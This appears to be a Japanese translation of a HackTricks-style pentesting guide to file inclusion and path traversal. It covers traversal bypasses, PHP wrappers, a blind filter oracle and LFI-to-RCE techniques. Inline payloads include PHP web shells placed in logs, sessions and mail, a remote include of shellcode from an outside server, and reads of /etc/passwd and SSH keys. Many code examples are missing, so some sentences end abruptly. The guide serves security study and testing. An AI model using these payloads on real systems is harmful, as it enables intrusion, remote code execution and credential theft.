File Inclusion/Path traversal
Last updated
Last updated
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discordサーバーに参加してください!
ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていく
最新の発表 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
Discordに参加して、今日からトップハッカーとコラボレーションを始めましょう!
リモートファイルインクルージョン (RFI): ファイルはリモートサーバーから読み込まれます(最良: コードを書いてサーバーがそれを実行します)。PHPでは、これはデフォルトで無効です(allow_url_include)。 ローカルファイルインクルージョン (LFI): サーバーはローカルファイルを読み込みます。
脆弱性は、ユーザーがサーバーによって読み込まれるファイルを何らかの方法で制御できるときに発生します。
脆弱なPHP関数: require, require_once, include, include_once
この脆弱性を悪用するための興味深いツール: https://github.com/kurobeats/fimap
いくつかの *nix LFI リストを混ぜて、さらにパスを追加してこれを作成しました:
/
を \
に変更してみてください。
../../../../../
を追加してみてください。
ファイル /etc/password を見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は こちら で見つけることができます。
異なるワードリストのマージ:
/
を \
に変更してみてください。
C:/
を削除して ../../../../../
を追加してみてください。
ファイル /boot.ini を見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は こちら で見つけることができます。
Linux の LFI リストを確認してください。
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(ページ=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。
提供された文字列の末尾にさらに文字を追加するのをバイパスします (バイパス: $_GET['param']."php")
これはPHP 5.4以降解決されています
ダブルURLエンコード(およびその他)などの非標準エンコーディングを使用できます:
おそらくバックエンドはフォルダーパスをチェックしています:
サーバーのファイルシステムは、特定の技術を用いてファイルだけでなくディレクトリを特定するために再帰的に探索できます。このプロセスは、ディレクトリの深さを特定し、特定のフォルダーの存在を探ることを含みます。以下は、これを達成するための詳細な方法です:
ディレクトリの深さを特定する: 現在のディレクトリの深さを確認するために、/etc/passwd
ファイルを正常に取得します(サーバーがLinuxベースの場合に適用)。例として、深さが3であることを示すURLは次のように構成されるかもしれません:
フォルダを調査する: 疑わしいフォルダの名前(例: private
)をURLに追加し、その後/etc/passwd
に戻ります。追加のディレクトリレベルは深さを1つ増やす必要があります:
結果の解釈: サーバーの応答はフォルダーの存在を示します:
エラー / 出力なし: フォルダー private
は指定された場所に存在しない可能性が高いです。
/etc/passwd
の内容: private
フォルダーの存在が確認されました。
再帰的探索: 発見されたフォルダーは、同じ技術または従来のローカルファイルインクルージョン (LFI) メソッドを使用して、サブディレクトリやファイルをさらに調査できます。
ファイルシステム内の異なる場所にあるディレクトリを探索するには、ペイロードを適宜調整してください。たとえば、/var/www/
に private
ディレクトリが含まれているか確認するには(現在のディレクトリが深さ3にあると仮定して)、次のようにします:
パストランケーションは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することで、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば:
/etc/passwd
、/etc//passwd
、/etc/./passwd
、および/etc/passwd/
はすべて同じパスとして扱われます。
最後の6文字がpasswd
の場合、/
を追加しても(passwd/
にする)ターゲットファイルは変わりません。
同様に、ファイルパスに.php
を追加した場合(shellcode.php
のように)、末尾に/.
を追加してもアクセスされるファイルは変更されません。
提供された例は、パストランケーションを利用して、敏感な内容(ユーザーアカウント情報)を持つ一般的なターゲットである/etc/passwd
にアクセスする方法を示しています:
これらのシナリオでは、必要なトラバーサルの数は約2027になる可能性がありますが、この数はサーバーの構成によって異なる場合があります。
ドットセグメントと追加文字の使用: トラバーサルシーケンス(../
)に追加のドットセグメントや文字を組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
必要なトラバーサルの数を決定する: 試行錯誤を通じて、ルートディレクトリに移動し、その後/etc/passwd
に移動するために必要な正確な../
シーケンスの数を見つけることができ、追加された文字列(.php
など)が無効化される一方で、目的のパス(/etc/passwd
)はそのまま保持されます。
偽のディレクトリから始める: パスを存在しないディレクトリ(a/
など)で始めるのは一般的な慣行です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
パストランケーション技術を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにテストがしばしば必要です。
この脆弱性はPHP 5.3で修正されました。
phpでは、これはデフォルトで無効になっています。なぜなら、allow_url_include
がオフだからです。これがオンでなければ機能しません。その場合、サーバーからPHPファイルを含めてRCEを取得することができます:
もし何らかの理由で allow_url_include
が On であるが、PHPが外部ウェブページへのアクセスを filtering している場合、この投稿 によると、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます:
前のコードでは、攻撃者が.txt
で終わる文字列を必要としたため、最後に+.txt
が追加されました。そのため、文字列はそれで終わり、b64デコードの後、その部分はただのゴミが返され、実際のPHPコードが含まれ(したがって、実行されます)。
別の例は**php://
プロトコルを使用しない**ものです:
Pythonでは、このようなコードで:
ユーザーが**file_name
に絶対パス**を渡すと、前のパスは単に削除されます:
It is the intended behaviour according to the docs:
コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。
Javaでパストラバーサルがある場合、ファイルの代わりにディレクトリを要求すると、ディレクトリのリストが返されます。他の言語ではこれが発生することはありません(私の知る限り)。
ここにローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストがあります(linkから):
PHPフィルターは、データが読み込まれる前または書き込まれる前に基本的な修正操作を実行することを可能にします。フィルターには5つのカテゴリがあります:
string.rot13
string.toupper
string.tolower
string.strip_tags
: データからタグを削除します("<" と ">" の間のすべて)
このフィルターは、現代のPHPバージョンからは消えています
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: 異なるエンコーディングに変換します(convert.iconv.<input_enc>.<output_enc>
)。サポートされているすべてのエンコーディングのリストを取得するには、コンソールで次を実行します:iconv -l
convert.iconv.*
変換フィルターを悪用することで、任意のテキストを生成することができ、任意のテキストを記述したり、includeプロセスを任意のテキストにするような関数を作成するのに役立ちます。詳細については、LFI2RCE via php filtersを確認してください。
zlib.deflate
: コンテンツを圧縮します(多くの情報を外部に抽出する場合に便利)
zlib.inflate
: データを解凍します
mcrypt.*
: 非推奨
mdecrypt.*
: 非推奨
Other Filters
phpでvar_dump(stream_get_filters());
を実行すると、いくつかの予期しないフィルターを見つけることができます:
consumed
dechunk
: HTTPチャンクエンコーディングを逆転させます
convert.*
「php://filter」の部分は大文字と小文字を区別しません
この記事では、サーバーから返される出力なしにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用したファイルのブール型漏洩(文字ごと)**に基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
元の記事には技術の詳細な説明がありますが、ここでは簡単な要約を示します:
コーデック**UCS-4LE
**を使用して、テキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。
これは、最初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され、phpがエラーをトリガーします。
dechunkフィルタは、最初の文字が16進数でない場合はすべてを削除するため、最初の文字が16進数かどうかを知ることができます。
これに、前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数の文字でなくなるのを確認します。なぜなら、16進数の場合、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
コーデックconvert.iconv.UNICODE.CP930は、すべての文字を次の文字に変換します(このコーデックの後:a -> b)。これにより、最初の文字がa
であるかどうかを発見できます。たとえば、6回このコーデックを適用すると、a->b->c->d->e->f->gとなり、文字はもはや16進数の文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーがトリガーされます。
rot13のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です(他のコーデックを使用して他の文字を16進数範囲に移動させることができます)。
最初の文字が数字の場合、それをbase64エンコードし、最初の2文字を漏洩させて数字を漏洩させる必要があります。
最後の問題は、最初の文字以上のものを漏洩させる方法を見ることです。convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LEのような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。
さらにデータを取得するためのアイデアは、最初に2バイトのジャンクデータを生成し、convert.iconv.UTF16.UTF16を使用して、次の2バイトとピボットさせ、ジャンクデータまでデータを削除することです(これにより、初期テキストの最初の2バイトが削除されます)。これを繰り返して、漏洩させたいビットに到達するまで続けます。
この記事では、これを自動的に実行するツールも漏洩されました:php_filters_chain_oracle_exploit。
このラッパーは、プロセスがオープンしているファイルディスクリプタにアクセスすることを可能にします。開いているファイルの内容を漏洩させるのに潜在的に役立ちます:
あなたはまた、php://stdin、php://stdout、および php://stderrを使用して、それぞれファイルディスクリプタ0、1、および2にアクセスできます(攻撃でどのように役立つかは不明です)。
PHPShellを含むZipまたはRarファイルをアップロードし、それにアクセスします。 rarプロトコルを悪用できるようにするには、特に有効化する必要があります。
このプロトコルは、phpの設定 allow_url_open
と allow_url_include
によって制限されています。
Expectを有効にする必要があります。これを使用してコードを実行できます:
POSTパラメータにペイロードを指定してください:
.phar
ファイルは、ウェブアプリケーションがファイル読み込みのためにinclude
のような関数を利用する際に、PHPコードを実行するために使用できます。以下に示すPHPコードスニペットは、.phar
ファイルの作成を示しています:
.phar
ファイルをコンパイルするには、次のコマンドを実行する必要があります:
実行時に、test.phar
という名前のファイルが作成され、これを利用してローカルファイルインクルージョン(LFI)脆弱性を悪用する可能性があります。
LFIがPHPコードを実行せずにファイルを読み取るだけの場合、file_get_contents()
、fopen()
、file()
、file_exists()
、md5_file()
、filemtime()
、またはfilesize()
などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、phar
プロトコルを使用してファイルを読み取ることに関連しています。
.phar
ファイルの文脈におけるデシリアライズ脆弱性の悪用についての詳細な理解は、以下のリンクされた文書を参照してください:
Phar Deserialization Exploitation Guide
phar:// deserializationphpフィルターをサポートする任意のファイルをPHPから読み取ることを悪用してRCEを取得することが可能でした。 詳細な説明はこの投稿にあります。
非常に簡単な要約:PHPヒープの3バイトオーバーフローが悪用され、特定のサイズのフリーチャンクのチェーンを変更することにより、任意のアドレスに何でも書き込むことができるようになり、**system
**を呼び出すためのフックが追加されました。
特定のサイズのチャンクを割り当てることが、他のphpフィルターを悪用して可能でした。
ここに含める可能性のある プロトコルをさらに確認してください:
php://memory and php://temp — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明)
file:// — ローカルファイルシステムへのアクセス
http:// — HTTP(S) URLへのアクセス
ftp:// — FTP(S) URLへのアクセス
zlib:// — 圧縮ストリーム
glob:// — パターンに一致するパス名を見つける(何も印刷可能なものを返さないため、ここではあまり役に立たない)
ssh2:// — セキュアシェル2
ogg:// — オーディオストリーム(任意のファイルを読むには役に立たない)
PHPにおけるローカルファイルインクルージョン(LFI)のリスクは、文字列内でコードを実行できる'assert'関数を扱う際に特に高くなります。これは、".."のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
例えば、PHPコードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります:
この目的はトラバーサルを防ぐことですが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のような手法を使用できます:
同様に、任意のシステムコマンドを実行するために、次のように使用することがあります:
重要なのは、これらのペイロードをURLエンコードすることです。
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加しましょう!
ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
最新のお知らせ 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
Discordで私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!
この技術は、PHP関数のファイルパスを制御できる場合に関連していますが、ファイルの内容は表示されません(**file()
**への単純な呼び出しのように)が、内容は表示されません。
この素晴らしい投稿では、ブラインドパススラベルがPHPフィルターを介してエラーオラクルを介してファイルの内容を抽出する方法が説明されています。
要約すると、この技術は**"UCS-4LE"エンコーディングを使用して、ファイルの内容を非常に大きくし、ファイルを開くPHP関数がエラー**を引き起こすようにします。
次に、最初の文字を漏洩させるためにフィルター**dechunk
が使用され、base64やrot13などの他のフィルターと共に使用され、最終的にフィルターconvert.iconv.UCS-4.UCS-4LEとconvert.iconv.UTF16.UTF-16BEが使用されて他の文字を最初に配置して漏洩させます**。
脆弱性がある可能性のある関数: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (これで読み取り専用のターゲットのみ)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
技術的な詳細については、前述の投稿を確認してください!
前述の通り、このリンクをフォローしてください。
ApacheまたはNginxサーバーがLFIに脆弱な場合、インクルード関数内で**/var/log/apache2/access.log
または/var/log/nginx/access.log
にアクセスし、ユーザーエージェント内またはGETパラメータ内にPHPシェルのような<?php system($_GET['c']); ?>
**を設定し、そのファイルをインクルードすることができます。
シェルにシングルクォートの代わりにダブルクォートを使用すると、ダブルクォートが文字列"quote;"に変更され、PHPはそこでエラーをスローし、他の何も実行されません。
また、ペイロードを正しく記述することを確認してください。そうしないと、PHPはログファイルを読み込もうとするたびにエラーを出し、二度とチャンスがありません。
他のログでもこれを行うことができますが、注意してください、ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64でエンコードされた"user:password"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入される可能性があります。 他の可能なログパス:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
内部アカウント (user@localhost) にメールを送信し、<?php echo system($_REQUEST["cmd"]); ?>
のようなPHPペイロードを含め、/var/mail/<USERNAME>
または /var/spool/mail/<USERNAME>
のようなパスでユーザーのメールに含めることを試みます。
多くのシェルをアップロードします (例えば: 100)
http://example.com/index.php?page=/proc/$PID/fd/$FD を含めます。ここで $PID はプロセスのPID (ブルートフォース可能) で、$FD はファイルディスクリプタ (こちらもブルートフォース可能)
ログファイルのように、User-Agentにペイロードを送信し、それは/proc/self/environファイル内に反映されます。
ファイルをアップロードできる場合は、シェルペイロードをその中に注入します(例: <?php system($_GET['c']); ?>
)。
ファイルを読みやすく保つためには、画像/doc/pdfのメタデータに注入するのが最適です。
PHPシェルを圧縮したZIPファイルをアップロードし、アクセスします:
ウェブサイトがPHPセッション(PHPSESSID)を使用しているか確認してください。
PHPでは、これらのセッションは_/var/lib/php5/sess\_[PHPSESSID]_ファイルに保存されます。
Set the cookie to <?php system('cat /etc/passwd');?>
LFIを使用してPHPセッションファイルを含める
sshがアクティブな場合、どのユーザーが使用されているかを確認します(/proc/self/status & /etc/passwd)し、<HOME>/.ssh/id_rsaにアクセスを試みます。
FTPサーバーvsftpdのログは_/var/log/vsftpd.log_にあります。Local File Inclusion (LFI)の脆弱性が存在し、公開されたvsftpdサーバーにアクセスできる場合、以下の手順を考慮できます。
ログインプロセス中にユーザー名フィールドにPHPペイロードを注入します。
注入後、LFIを利用して_/var/log/vsftpd.log_からサーバーログを取得します。
こちらの記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です:
このwriteupは、phpフィルターを使用して任意のコンテンツを出力として生成できることを説明しています。基本的には、ファイルに書き込むことなく任意のphpコードを生成できるということです。
LFI2RCE via PHP Filtersファイルをアップロードし、それが/tmp
に一時的に保存されるようにします。その後、同じリクエストで、セグメンテーションフォルトを引き起こすと、一時ファイルは削除されず、それを探すことができます。
ローカルファイルインクルージョンを見つけ、NginxがPHPの前で実行されている場合、次の技術を使用してRCEを取得できるかもしれません:
LFI2RCE via Nginx temp filesローカルファイルインクルージョンを見つけた場合、セッションがない場合でも、session.auto_start
がOff
であっても、PHP_SESSION_UPLOAD_PROGRESS
をmultipart POSTデータで提供すると、PHPはセッションを有効にします。これを悪用してRCEを取得できます:
ローカルファイルインクルージョンを見つけ、サーバーがWindowsで実行されている場合、RCEを取得できるかもしれません:
LFI2RCE Via temp file uploadspearcmd.php
+ URL argsこの投稿で説明されているように、スクリプト/usr/local/lib/phppearcmd.php
は、phpのdockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに=
がない場合、それを引数として使用する必要があると示されています。
次のリクエストは、/tmp/hello.php
に<?=phpinfo()?>
という内容のファイルを作成します:
以下はCRLF脆弱性を悪用してRCEを取得するものです(こちらから):
Local File Inclusionを見つけ、file_uploads = onの**phpinfo()**を公開しているファイルがあれば、RCEを取得できます:
LFI2RCE via phpinfo()PHP_STREAM_PREFER_STUDIO
+ パス開示を介してLocal File Inclusionを見つけ、一時ファイルのパスを外部に流出させることができるが、サーバーが含めるファイルにPHPマークがあるかをチェックしている場合、このレースコンディションを使ってそのチェックをバイパス**しようとすることができます:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureLFIを悪用して一時ファイルをアップロードし、サーバーがPHP実行をハングさせることができれば、数時間にわたってファイル名をブルートフォースして一時ファイルを見つけることができます:
LFI2RCE via Eternal waiting/usr/bin/phar
、/usr/bin/phar7
、/usr/bin/phar.phar7
、/usr/bin/phar.phar
のいずれかのファイルを含めると、致命的エラーが発生します。(そのエラーを引き起こすには、同じファイルを2回含める必要があります)。
これがどのように役立つのかはわかりませんが、役立つかもしれません。 たとえPHPの致命的エラーを引き起こしても、アップロードされたPHPの一時ファイルは削除されます。
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加してください!
ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を最新の状態に保ちましょう
最新の発表 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
Discordで私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)